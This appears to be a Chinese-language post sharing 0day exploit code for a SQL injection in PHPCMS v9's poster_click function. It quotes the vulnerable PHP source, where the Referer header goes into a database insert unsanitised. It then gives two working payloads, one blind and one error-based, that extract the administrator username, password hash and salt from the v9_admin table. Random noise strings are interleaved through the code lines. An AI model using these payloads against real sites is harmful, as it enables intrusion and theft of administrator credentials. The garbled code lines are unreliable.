phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

问题函数\phpcms\modules\poster\index.php
5 v1 D- g2 |( Q9 V
public function poster_click() {
, c# [8 J1 ]0 D( J6 W, d$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
2 a$ R1 [7 a3 z( l/ U1 \5 t1 k$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
, e# k4 K8 K" B3 P4 Q+ _$ K$area = $ip_area->get($ip);
2 @0 w* G! a' a/ e( ~, S( i, e' T$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
+ \3 ^  p+ @+ y1 X}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
0 r$ c1 u9 ^1 w9 d} else {
' E9 H% y. |9 P' `4 p$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
header('Location: '.$url);

9 |3 S) H- u8 t$ N8 k! b6 X( g* i利用方式：

' d1 E+ i8 R8 ~' D. _* h1、可以采用盲注入的手法：
# d4 j  r! X7 B% @0 h' C
) D9 h8 j& o/ `referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
1 K, {) H' |# I* k# H8 y+ b
% @8 q! b3 X" \$ p通过返回页面，正常与否一个个猜解密码字段。
- {3 Y1 c( }' T+ D; R' q; E! L; @) F3 O+ _, Q
/ w) b" N1 N  N3 [) Q  ?2、代码是花开写的，随手附上了：
' B$ H# S+ ~, ?# Q" P
, n) {0 J3 E$ Z, y1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。
